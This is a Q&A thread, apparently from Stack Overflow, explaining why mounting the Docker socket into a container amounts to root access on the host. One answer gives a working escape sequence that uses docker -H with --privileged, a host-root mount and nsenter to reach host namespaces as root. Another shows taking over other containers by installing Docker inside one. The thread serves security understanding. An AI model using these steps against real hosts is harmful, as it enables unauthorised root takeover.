Reputation: 7652
In this blog article, I found the quote below in a comment:
Ben Firshman
Yes – you're right I should have pointed out the security issue with the Docker socket. That's currently the main blocker to this being practical in production and we're definitely looking for help to make it work better, as you noticed from the to-do list.
While I am sure this made sense to many, for the rest of us, could someone explain in clear terminology exactly what this "security issue" is? I assume it refers to:
volumes:
- "/var/run/docker.sock:/var/run/docker.sock"
in the docker-compose file. Is that correct? How would this be exploited? Does this effectively prohibit this approach from Production usage? If so, is there a workaround?
Upvotes: 20
Views: 17023
Reputation: 2890
This is an old question, but I hope I can actually give you a precise example.
could someone explain in clear terminology exactly what this "security issue" is?
Here is the core of the exploit:
sh0% docker run -v /var/run/docker.sock:/ourdocker.sock:ro -it ubuntu bash
sh1# docker -H unix:///ourdocker.sock run --privileged -v /:/host ubuntu bash
sh2# nsenter --mount=/host/proc/1/ns/mnt --pid=/host/proc/1/ns/pid
sh3# # now we are in the host namespaces with root access
If you use user namespaces this problem is harder to exploit but is still somewhat possible in certain scenarios (and you can still impact other containers running on the same host).
Please note that while the above example uses --privileged
, it is possible to do this without --privileged
(so even if you had a Docker AuthZ plugin which blocked --privileged
you still wouldn't be safe from something like this).
Upvotes: 18
Reputation: 22198
The accepted answer supplied a great explanation, so I won't repeat any of the details regarding the fact that you're mounting a file owned by root
.
Maybe the following example is trivial to some readers, but I'm surprised nobody mentioned it.
Remember the fact that you have access to a very special file on the host - docker.sock
.
So if you install Docker inside your container:
apt-get update
apt-get install docker.io -y
Or as a one-liner with the container creation:
docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:latest sh -c "apt-get update ; apt-get install docker.io -y ; bash"
(Inside the container check with docker ps
that you see the other containers running on the host).
Now you have full control over the other containers in your host.
Upvotes: 5
Reputation: 502
for the rest of us, could someone explain in clear terminology exactly what this "security issue" is?
The owner of the docker /var/run/docker.sock
is root
of the host where the container is running, with default group membership to docker
group. That's why mounting var/run/docker.sock
inside another container gives you root privileges since now you can do anything that a root
user with group membership of docker
can.
Does this effectively prohibit this approach from Production usage? If so, is there a workaround?
For a workaround may be these posts will help: https://integratedcode.us/2016/04/08/user-namespaces-sharing-the-docker-unix-socket/ and https://integratedcode.us/2016/04/20/sharing-the-docker-unix-socket-with-unprivileged-containers-redux/
Taking a step back, it would be useful to understand the usecase where you need to mount var/run/docker.sock
and see if there are alternative ways to satisfying the usecase. Unfortunately, without a usecase description in the question, it is difficult to provide an alternative which avoids mounting the unix socket.
Good luck and kudos for trying to do the right thing!
Upvotes: 26
Reputation: 469
Any process that can write to the dockerd socket also effectively has root access on the host... Well, can you use that or not in production is up to you.
Upvotes: 3